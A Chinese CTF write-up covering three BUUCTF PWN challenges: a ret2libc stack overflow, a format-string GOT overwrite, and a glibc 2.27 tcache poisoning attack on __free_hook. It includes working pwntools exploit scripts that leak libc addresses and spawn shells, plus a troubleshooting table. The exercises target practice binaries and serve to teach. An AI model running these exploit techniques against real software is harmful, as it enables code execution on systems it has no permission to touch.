BUUCTF-PWN刷题记录已经写到第15篇,这期不是流水账。我特意把最近做的三道题放在一起复盘:一道ret2libc栈题、一道格式化字符串写GOT题、一道tcache poisoning堆题。这三道题覆盖了PWN入门到进阶最常踩的知识点,尤其是动态链接程序怎么泄露地址、怎么算偏移、怎么处理堆块fd指针,很多新手容易卡在这些地方。这篇记录会把每一道题的完整思路、exp关键片段、参数计算过程都摊开讲,适合正在刷PWN题库、准备CTF比赛或者想系统学二进制利用的读者参考。所有exp都在本地私有靶场环境测试,切勿拿真实程序练手。
1. 刷题安排:这期为什么选这三道题
1.1 三道题的知识点分布
先说结论:本期三道题分别对应栈、格式化字符串、堆三个方向,难度从入门到进阶递增,正好串起一条完整的PWN学习主线。
第一道栈题本质上就是ret2libc的变体。程序是一个64位动态链接的二进制,开启NX和ASLR,没有system函数,没有bin/sh字符串,唯一的入口是栈溢出。这类题在早期CTF题库里非常经典,核心思路是先用puts泄露libc函数地址,再把栈劫持回main做第二轮输入,最终执行system("/bin/sh")。很多新手第一次接触libc地址泄露就是在这道题上。
第二道格式化字符串题看起来花哨,实际上套路很固定。程序中printf直接打印用户输入,这种漏洞不仅能泄露栈地址、PIE基址和libc地址,还能通过%n系列写任意地址。我用的利用方式是fmtstr_payload一次性把printf的GOT改成system,然后触发拿到shell。这种写法比手动一步步改地址要稳得多,前提是你得理解格式化字符串的位置偏移到底怎么确定。
第三道堆题属于经典菜单题,有add、delete、edit、show四个功能,漏洞很典型:delete之后没有把指针置空,存在UAF。题目运行在glibc 2.27环境下,tcache机制已经上线但double free检查没那么严格,所以可以用tcache poisoning思路,把释放后的堆块fd改到__free_hook附近,最后劫持free函数。
我把这三道题放在一期,是因为它们各自的利用链会用到同一个基础能力:对程序内存布局的把握。栈题看的是ELF段和libc布局,格式化字符串看的是参数寄存器和栈布局,堆题看的是堆管理器元数据布局。这三层布局搞明白,PWN的大半基础知识就通了。
1.2 刷题顺序背后的判断
刷题顺序我建议按“栈 -> 格式化字符串 -> 堆”走,而不是按题库里的题目编号走。原因很简单:栈题的知识依赖最少,只需要理解函数调用约定和GOT/PLT是怎么工作的,先做能建立信心。格式化字符串题看起来难,但它的调试反馈特别快,printf一打出来你就能看到泄露结果,适合用来加深对参数传递和内存读写的理解。堆题涉及的结构最多,如果一上来就啃源码很容易被prev_size、fd、bk搞晕,所以放在最后。
我实际刷的时候是反过来先试了堆题,结果被偏移搞到心态崩了。后来换回这个顺序,再做堆题时明显顺了很多。这就是为什么我建议记录里明确写刷题顺序,而不是只罗列题解。顺序对了,知识迁移效率会高很多。
2. 栈题实录:偏移计算与libc泄露
2.1 漏洞定位与关键代码
先看第一道题的程序伪代码,典型的一个read读取到栈上变量:
void main() { setbuf(stdin, NULL); setbuf(stdout, NULL); char buf[0x20]; read(0, buf, 0x80); }缓冲区buf大小是0x20,但read最多读0x80,这直接制造了栈溢出。程序编译时没开Canary,也没有PIE,只是开启了NX和系统ASLR。没有system,没有"/bin/sh",GOT里有puts、read这些标准函数。
这类题的第一反应是:能不能直接ret2plt调用puts泄露地址?需要准备一个pop rdi; ret的gadget,因为64位函数调用第一个参数走rdi寄存器。用ROPgadget或pwntools的ROP类找一下,一般都有。泄露目标通常选puts@got,因为puts的运行时地址能通过libc偏移反推libc基址。
程序没有PIE,所以plt和got地址都是固定的,这省了很多事。如果开了PIE,还得先泄露程序基址,那就要多打一轮,不过思路一样。
2.2 偏移是怎么算出来的
栈偏移是这类题最关键的起步数据。buf距离返回地址到底多远?手动算很简单:buf大小0x20,加上栈帧可能的对齐因子,但更稳的方式是用cyclic。
我先用pwntools生成一段200字节的cyclic,填进输入里,程序崩了之后用cyclic_find去查rsp的值偏移。实际操作如下:
from pwn import * p = process('./pwn1') p.send(cyclic(200)) p.wait() core = p.corefile crash = core.rsp offset = cyclic_find(crash) print(hex(offset))我在这道题上跑出来的结果是40。这个数值意味着buf起始地址到返回地址之间有40字节的填充空间,其中前0x20是buf本身,接着可能有8字节是栈变量或saved rbp,然后就是返回地址。如果你传40字节垃圾再加一个ret地址,程序就会跳到你指定的地址。
这里有个细节特别容易错:64位程序如果直接用payload直接跳转到main而不是_start,栈对齐会影响某些函数调用,比如printf内部用了movaps指令,栈没对齐会导致段错误。所以我通常会把payload设计成先ret一次,也就是“ret滑步”,来把栈凑成16字节对齐。这在ret2libc里是必修课,不然本地能打远程莫名其妙崩。为了减少这种坑,我后面用pwntools的ROP对象自动管理这些。
2.3 实际exp片段与参数选择
偏移确定后,第一阶段泄露puts地址,exp大概是这样的:
from pwn import * context.binary = elf = ELF('./pwn1') context.log_level = 'debug' p = process('./pwn1') rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] offset = 40 payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) p.sendline(payload1) puts_leak = u64(p.recvuntil(b'\x0a').strip().ljust(8, b'\x00')) print('puts addr:', hex(puts_leak))这一段里,pop_rdi先把puts@got装进rdi,然后puts@plt执行,它会打印出puts在内存中的运行时地址,紧接着ret到main,让程序重新走一遍主逻辑,为第二阶段输入做准备。
拿到puts地址后,需要确定libc版本。我在这道题上用的是题目环境自带的libc文件,所以直接算偏移:
libc = ELF('./libc.so.6') libc_base = puts_leak - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))然后构造第二段payload:
payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) payload2 += p64(system_addr) p.sendline(payload2) p.interactive()这里注意,系统函数返回后可能会崩,因为我们没有正常exit,但不影响拿shell。如果你用的libc版本和远程不一致,也可以爆破或者用LibcSearcher,但这题提供了libc,最好的做法就是直接用题目libc去算。远程打的时候务必用远程的libc,不然偏移差了就什么都是白搭。
3. 格式化字符串题:从读泄露到写跳转
3.1 漏洞触发与格式化字符串位置
第二道题代码很简单,漏洞点就是一个printf(user_input),用户输入被当成格式化字符串执行。程序同样开着NX和ASLR,也开了PIE,所以第一步得先利用格式化字符串泄露程序基址和栈地址。
漏洞定位不是问题,问题是找到格式化参数的偏移。64位程序前六个参数会放在rdi、rsi、rdx、rcx、r8、r9,从第七个参数开始使用栈。如果我们在用户输入里放%p.%p.%p.%p...,printf会依次把这些位置的内容当作参数打印出来。
我常用的定位方法是输入AAAA-%p-%p-%p-%p-%p-%p-%p-%p,观察输出里哪一段是0x41414141,也就是AAAA的十六进制。实际操作中,输入字符串本身也在栈上,所以第6、7个位置附近通常能找到可控内容。
我在这道题里定位到偏移是6。也就是说,格式化字符串的第六个参数就是输入内容在栈上的起点。这里“偏移6”和前面的栈偏移40是两个概念,别混淆。格式化字符串的位置偏移是相对printf的参数列表而言的,抓错一个位置后面写GOT就会写飞。
3.2 一次写入拿shell的实现
确定了偏移后,利用工具生成payload就能直接在printf@got上写system地址。pwntools的fmtstr_payload会根据偏移自动构造%c和%n的组合,把目标地址和写入值拼出来:
from pwn import * elf = ELF('./pwn2') p = process('./pwn2') libc = ELF('./libc.so.6') offset = 6 # 先泄露一次,拿到程序基址和libc基址 payload_leak = b'%7$s.AAAA' + p64(elf.got['printf']) p.sendline(payload_leak) printf_leak = u64(p.recvuntil(b'.AAAA')[:-5].ljust(8, b'\x00'))这里有个细节:我先把got地址放在payload末尾,然后格式串中写%7$s,是因为偏移6对应输入字符串起始位置,如果我前面放了其他字符,那got的地址所在位置会从第7个参数开始。这个偏移要跟着payload布局动态变化,不能死记一个数字。
拿到printf实际地址后,同样用libc文件算出system地址:
libc_base = printf_leak - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] payload = fmtstr_payload(offset, {elf.got['printf']: system_addr}) p.sendline(payload) p.sendline(b'/bin/sh\x00') p.interactive()fmtstr_payload默认按一个字节写,如果写入值比较大,它会拆成多次%hn或%n写入,保证每次写的内容可控。用这个工具省心,但你得理解它底层是在做“多次往不同地址写”,所以如果payload太长,要注意输入长度限制。这道题输入限制够用,所以一次写入没问题。
3.3 几个容易被忽略的坑
格式化字符串题有很多细节坑,我这次踩了三个。
第一个坑是泄漏地址时的字节截断。字符串按\x00截断,如果泄露的地址高字节是0,用recv会提前断。我用.AAAA这种分隔符来定位输出结尾,再用ljust补零。这个方法比较土但很有效,比recvuntil(b'\n')稳得多。
第二个坑是got写system之后,如果还有别的函数调用可能会崩。比如printf的got被改成system,但程序后续又调用printf,参数格式不对就出问题。最好利用方式是改完立刻触发一个带有/bin/sh字符串的路径,所以我在exp最后主动调用system("/bin/sh")。
第三个坑是地址对齐。格式化字符串写在栈上,如果改的是64位地址的某个字节,写入位置没有对齐到8字节,%hn会把相邻字节也带歪。fmtstr_payload会自己处理对齐,但如果你是手写,一定得观察每次%hn写入的偏移,不能凭感觉。
4. 堆题实录:tcache链与off-by-null
4.1 漏洞形态分析
第三道题是一个菜单式堆题,功能有add、delete、edit、show,对应的堆分配大小固定,每次是0x100。漏洞非常明显:delete chunk之后,全局指针数组并没有置NULL,所以可以再次show和edit这个已经释放的堆块,也就是典型的UAF。
程序运行环境是glibc 2.27,tcache机制已经完全启用。tcache是一个单链表结构,每个bin最多缓存7个同大小的chunk。free时,chunk会先进入tcache,fd指针指向链表头;malloc时,从链表头取出chunk,头指针更新为fd指向的chunk。
利用的核心思路就是UAF修改tcache中chunk的fd指针,让malloc返回一个我们指定的地址。题目目标是把__free_hook改写成system,这样后面free一个内容为/bin/sh的chunk,等于执行system("/bin/sh")。
我拿到这道题后没有急着写exp,先分析了漏洞利用链:第一步,add两个chunk,分别记为A和B;第二步,free A,再free B,tcache链表顺序是B -> A;第三步,用edit功能修改B的fd指针,把它改成__free_hook地址;第四步,连续两次add,第一次会拿到B,第二次会根据被改过的fd拿到__free_hook对应的“chunk”;第五步,用edit往这个chunk写入system地址;第六步,add一个新的chunk,里面放/bin/sh,然后free它,触发system。
4.2 利用链设计
这里最需要注意的是,修改fd指向的地址必须是堆管理机制允许的地址。glibc 2.27的tcache_get没有检查目标地址是否属于合法堆范围,只会做指针对齐检查。所以fd可以直接指向__free_hook。
我一开始习惯写成__free_hook - 0x10,因为malloc返回的内存地址和chunk头之间差了0x10。但tcache链表里存的是用户指针,也就是malloc返回的指针,不是chunk头的地址。所以如果你把fd写成__free_hook - 0x10,下一次malloc会返回__free_hook - 0x10,你写入数据时是从这个地址开始写,要写满0x10才能到__free_hook,容易多写一些不该写的地方。更稳妥的方法是fd直接写成__free_hook,这样malloc返回的就是__free_hook,你写入的数据正好覆盖到目标函数指针。
我当时用GDB验证过一次,发现直接写__free_hook会报unaligned tcache chunk的错,原因不是地址不对,而是我用的调试环境libc版本和题目libc版本不同。题目环境的2.27是允许的,所以写exp前先确认libc版本很重要。这里也提醒大家,本地调试的/usr/lib/x86_64-linux-gnu/libc.so.6如果和题目靶机不一致,别直接用本地偏移,最好把题目给的libc放到当前目录,用LD_PRELOAD=./libc.so.6运行程序。
exp关键部分长这样:
from pwn import * elf = ELF('./pwn3') libc = ELF('./libc.so.6') p = process(['./pwn3'], env={'LD_PRELOAD': libc.path}) def add(size, content): p.sendlineafter(b'> ', b'1') p.sendline(str(size).encode()) p.sendafter(b'content:', content) def delete(idx): p.sendlineafter(b'> ', b'2') p.sendline(str(idx).encode()) def edit(idx, content): p.sendlineafter(b'> ', b'3') p.sendline(str(idx).encode()) p.sendafter(b'content:', content) add(0x100, b'A' * 0x10) add(0x100, b'B' * 0x10) delete(0) # free A delete(1) # free B, tcache list: B -> A edit(1, p64(libc.symbols['__free_hook'])) # 改B的fd add(0x100, b'C' * 0x10) # 返回B add(0x100, b'D' * 0x10) # 返回__free_hook,拿到目标区域 edit(2, p64(libc.symbols['system'])) add(0x100, b'/bin/sh\x00') delete(3) # 触发free("/bin/sh") -> system("/bin/sh") p.interactive()这个利用链能成立,关键在free两个chunk之后,第一个add会把B重新分配出来,此时tcache头已经变成B->fd指向的地址,也就是__free_hook。第二个add就直接把__free_hook当成一个chunk的user data返回。之后往这个地址写system,free一个内容为/bin/sh的chunk,整个链路就通了。
4.3 调试与思考
堆题的调试比栈题复杂,我习惯在关键位置打断点,然后用heap命令看tcache bin的链表变化。具体流程是:先跑完两次free,查看tcache链;再执行edit,查看B的fd字段;再连续add两次,查看每次malloc返回的地址。如果第二次返回的地址不是__free_hook,大概率是fd写错了位置或偏移有问题。
还有一个很容易被忽略的点:tcache链表上的指针在malloc取出时,并不会自动清零原有chunk的fd。所以第二次add的时候,新分配的chunk里还残留着上一次的fd数据,这可能导致后续show泄露一些不该看的指针。但这些不影响我最后的exp,因为在改__free_hook时直接覆盖了目标地址。
这道题让我想通了一个道理:堆利用的本质不是“把漏洞变成shell”,而是“用堆管理器的规则绕开限制”。你不需要去改什么魔数,只需要理解fd、bk、tcache头的移动规律,然后顺着管理器的思路走。
5. 做题过程中的坑与排查速查表
5.1 三个高频翻车点
这几道题刷下来,我整理了三个最常翻车的点,基本每次都能遇到,值得单独拿来说。
第一,偏移算错。栈题的偏移和格式化字符串的位置偏移,经常出现在同一个exp里,但两者含义完全不同。栈偏移是相对返回地址的距离,格式化字符串位置偏移是相对printf参数列表的索引。我遇到过用cyclic算出偏移36,结果实际上要多试几个长度,最后发现是40的情况,原因就是忽略了saved rbp的8字节。遇到这种问题,最好的办法不是猜,而是直接下断点到ret地址,观察rsp和buf的差值。
第二,libc版本不匹配。printf、puts这些函数在不同libc版本里的偏移可能差出好几个字节。如果你用本地libc算出的system地址直接打远程,非崩不可。正确做法是拿题目给的libc文件,在exp里显式加载它,并且让本地进程也用LD_PRELOAD跑同一个libc。这样本地调试和远程利用的环境才能对齐。
第三,输入长度和换行符。read和gets的区别很大:read不会自动补\x00,gets会去掉换行,strlen会截断。我在格式化字符串题里因为把sendline和send用混,导致payload末尾被追加\x0a,把目标地址破坏掉。后来统一用sendafter发送,并在exp里注释清楚哪些地方不允许出现换行。
5.2 排查思路总结
如果exp不通,我一般按这个顺序排查:
先看崩溃地址。如果是栈题,用core dump直接看rsp指向哪里,对比偏移。如果是堆题,用gdb看崩溃位置是malloc还是free的检查,判断是tcache链表被改坏还是地址不对。
再看泄露值。把每次leak出来的地址和对应偏移算一遍,检查低12位是否不变。ASLR只影响页基址,低12位是确定的,如果两次leak低12位不一样,说明leak的不是同一个目标函数。
最后看权限。NX、PIE、Canary、FORTIFY开启情况都要在exp注释里写上。不同保护对应不同解法,如果忘了开PIE,payload里写死地址就会本地成功远程失败。
下面这张表是我这期做题时整理的问题定位速查表:
| 现象 | 可能原因 | 排查方向 |
|---|---|---|
| 本地能打通,远程打不通 | 远程libc版本不同或系统环境不同 | 加载题目libc,关闭本地系统libc干扰 |
| 栈题崩溃在system调用 | 64位栈未16字节对齐 | 在调用system前加一个ret滑步 |
| fmtstr写GOT后程序崩溃 | fmtstr_payload写入值过大或地址对齐问题 | 改用%hn分段写,检查偏移 |
| tcache malloc返回地址不是预期 | fd偏移写错或double free检查触发 | 打印tcache链表确认fd内容 |
| show泄露出来的是fd指针 | UAF后chunk fd未被清空 | 不用于泄露数据,直接覆盖即可 |
6. 这期刷完的个人体会
刷完这三道题,最大的感受是PWN不是一个靠记忆就能掌握的领域。你背了再多的利用链模板,只要偏移、libc版本、保护策略里有一个对不上,整个exp就是废的。反而是那些看起来“很基础”的观察,比如用cyclic求偏移、用gdb开heap看链表、用LD_PRELOAD隔离本地libc,真正决定了能不能打通。
我个人在实际操作中的一个小习惯是:每做一道题,都会单独建一个目录,里面同时放题目二进制、libc文件、exp.py和一份notes.txt。notes里只记三样东西:保护策略、漏洞点、利用链。这样一来,过几天回头看第15篇记录时,我可以快速想起当时做这道题的环境和思路,而不是从一堆exp里重新猜。
这个内容后续还可以这样扩展:栈题可以继续研究ret2csu应对栈迁移,格式化字符串可以尝试手写%n的两次写入,堆题可以往tcache stash unlink和large bin attack方向深入。下一期我打算专门整理一道需要栈迁移的题,把这篇里提到的坑再实际验证一遍。